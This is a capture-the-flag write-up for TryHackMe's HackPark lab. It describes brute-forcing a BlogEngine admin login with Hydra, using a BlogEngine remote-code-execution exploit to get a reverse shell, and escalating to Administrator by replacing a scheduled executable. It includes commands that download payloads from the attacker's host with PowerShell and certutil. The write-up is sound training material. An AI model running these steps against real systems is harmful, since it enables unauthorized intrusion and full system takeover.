HackPark- TryHackMe Room Writeup
The link for this lab is located here: https://tryhackme.com/room/hackpark
In this room, we will cover brute-forcing account credentials, handling public exploits, using the Metasploit framework and privilege escalation on Windows.
Full Walkthrough
First, we run a simple nmap scan to identify any open ports on the target machine.
This reveals two ports are open - port 80 (HTTP) and port 3389 (RDP or Remote Desktop). With these ports identified, we can run another more detailed scan on each port to potentially gain more information.
This scan reveals some more information - the website is using HTTPAPI httpd 2.0, possibly running Microsoft IIS/8.5 and has a robots.txt file.
The next logical step is to visit the website and gather any more information. Navigating to the website reveals a blog with a post titled “Welcome to HackPark”.
Reverse image searching the clown image on the page reveals the name “Pennywise” which could be used later as a password or something else.
Next, we identify a login page - this page reveals that the website is using something called “blogengine.net”
Before trying to brute force this login page, we can try identifying default credentials. In this case, a quick google search reveals the username to be admin and password to be admin
However, this fails
Next step we can try is brute forcing this page with Burp Suite or Hydra. I chose to use Burp Suite first. To do this, we first need to intercept a login request to this site to gather some information.
Once intercepted, we can send the request to intruder.
Next, we need to identify the fields we want to brute force. In this case, we can assume the “admin” default user has been kept and not changed so the only field we want to attack is the password field. Simply hit the “Add” button on the password field to highlight it for attack.
Instead of using the rockyou.txt password, we can first try some common passwords. For me, I found a top 100 common passwords list on GitHub.
Simply copy and paste this list into the Payload options in Burp Suite to use these as our potential passwords and let it run.
After a short while, we can sort the list by status - looking for any different HTTP status code. In this case, most of them all return 200 OK but one returns a status code of 302 Found which is a common way of performing URL redirection indicating a potential login success.
Looking at the response to this request confirms this. It includes some HTML saying the object was moved to “http://10.10.201.137/admin/”
Using the credentials we just found, we can login to the website and arrive at the administrator panel.
An alternative way is to use Hydra. To use Hydra, we need 4 things - the URL, the type of HTTP request, location of username/password forms and the error message for a failed login. To get these, we first intercept a request to login using any credentials - I used admin and admin once again.
At the top we will see the URL and type of request being sent to the login page - in this case it is a POST request to the /Account/login.aspx page.
At the bottom of the request, we will see a long string starting with “__VIEWSTATE” and ending with “Log+in”
We need this long string for the request. To use this in hydra, the following syntax is used:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.201.137 http-post-form “/Account/login.aspx:<LONG-STRING>
Notice that we replace the “UserName” and “Password” fields with ^USER^ and ^PASS^ - this tells Hydra to replace these with the username and passwords/wordlist specified before. In this case, ^USER^ is replaced by admin and ^PASS^ will be every password in rockyou.txt
Also, at the very end we see “Login failed” - this is the error message the page displays for a failed login. If this message appears after a request, Hydra knows it failed. If it doesn’t appear, then the credentials are correct.
After letting it run for a couple of minutes, we get the same credentials back as we did via Burp Suite - just another way to do the same thing but good to know about.
Now that we are logged in, we can go to the “About” page and get some information about BlogEngine. This reveals that the version is 3.3.6.0 and it is running as the IIS APPPOOL\Blog user.
Researching this specific version reveals a couple of exploits available.
The first link reveals a directory traversal/remote code execution exploit.
Reading the attack, we first need to set the TcpClient address and port to our machine which should be running a netcat listener. Next, we need to upload a file through file manager which MUST be called PostView.ascx. Once uploaded, the file is in the /App_Data/files directory. Finally, the vulnerability is triggered by accessing the base URL for the blog with a theme override specified via http://10.10.201.137/?theme=../../App_Data/files
Simply download this exploit and renamed it to PostView.ascx. Once downloaded, change the IP address and port inside the code to your machine’s IP address and a port of your choosing - for me this is 10.11.3.112 and port 5554.
Then, we need to start a netcat listener on the port just specified - nc -nvlp 5554
To execute this, we need to navigate to the “Content → Posts” section on the left revealing the current posts
Then, click on the post and the “File Manager” icon to reveal the current files
Once here, simply upload the PostView.ascx file.
Then, as the exploit said, navigate to 10.10.201.137/?theme=../../App_Data/files to trigger the file.
Navigating back to the netcat listener, we should receive a shell.
Now that we have a shell, we can check who it is running as via the whoami command.
For privilege escalation, we can first pivot from netcat to a Meterpreter session. To do this, we first create a payload with msfvenom using the windows/meterpreter/reverse_tcp payload and output it to an executable file called reverse.exe.
Then, we start a Python server on port 80 to host this executable for the target to download.
To download it, we first navigate to a common directory where we have write permissions - the Temp directory - and then we use PowerShell command with the wget command to download the reverse.exe file to the target
We can check it got downloaded by listing the files.
Then, because it is a meterpreter shell, we need to use the multi/handler inside Metasploit to catch the reverse shell - setting the same options as we did in the msfvenom command.
Finally, we can simply execute it by typing “reverse.exe” on the target.
This should return a meterpreter session.
Now that we have a more stable and upgraded shell, we can use winPEAS to search for privilege escalation paths on the target. We can host winPEAS on our local machine via Python once again.
Then, once again, we can download it on the target using the same command.
To execute it, type “winPEAS.exe” and let it run - it may take a while.
Looking through the results reveals a ton of interesting information - I encourage you to read through it yourself. In this case, the most interesting thing was some AutoLogon credentials that were found.
Researching about AutoLogon reveals the following information:
Using these creds, we can possibly login via RDP - the service running on port 3389.
To do this, we can use xfreerdp with the /u for the username and /p for the password followed by the IP of the target:
It will then ask you if you trust the above certificate - in this case, say yes.
Now we should be in the system and on the desktop you can see the root.txt flag.
Alternative Way
However, there is another way. Looking at the winPEAS output once again, we see that WindowsScheduler is running meaning a process is being scheduled automatically to run at a specific time. Reading this, it also says possible DLL Hijacking and that everyone has access to write data and create files inside the SystemScheduler directory.
Going into the C:\Program Files (x86)\SystemScheduler directory shows all the files inside that are possible being scheduled to run.
Looking further, we can run the “tasklist” command to see any tasks that are currently running to possibly identify any scheduled service that is running.
Scrolling down, we see something called “Message.exe” is running
To investigate this further, we can go into the “Events” directory and look through the logs. One of the logs reveals that the Message.exe process is starting and ending roughly every 30 seconds and is run as the Administrator user - maybe we could overwrite this .exe with a malicious file that gives us root access?
Knowing this, we can create another malicious .exe file called Message.exe using a meterpreter payload and a different port - in my case port 8888
Then, we start another metasploit listener on port 8888
Once again, we can host the file using Python and use PowerShell to download the Message.exe file into the SystemScheduler directory.
After around 30 seconds when it gets executed again, we should receive a reverse shell back.
This time, using the “getuid” command we can see this session is running as the Administrator.
Now we have full access. To grab the user.txt flag, navigate to C:\Users\jeff\Desktop
And for the root.txt flag, navigate to C:\Users\Administrator\Desktop
OPTIONAL - Without Metasploit
If you want to do this without using Metasploit (*wink* OSCP *wink*), then we can simply change the payload from meterpreter to a normal shell while keeping the Message.exe output file.
Then we simply start a netcat listener on that port (9999 in my case)
And then we host it using a Python web server
Then, we can use the “certutil.exe -urlcache -f http://10.11.3.112/Message.exe Message.exe” command to download it into the SystemScheduler directory. This may fail if the Message.exe is already running. However, after trying a couple of times, the command should complete successfully when it is not running.
Once executed after around 30 seconds, we should receive a normal shell back
And, once again, we can grab the root.txt flag just like normal
I hope you enjoyed this room and writeup and learned a lot about Hydra, using Metasploit and doing it the manual way.
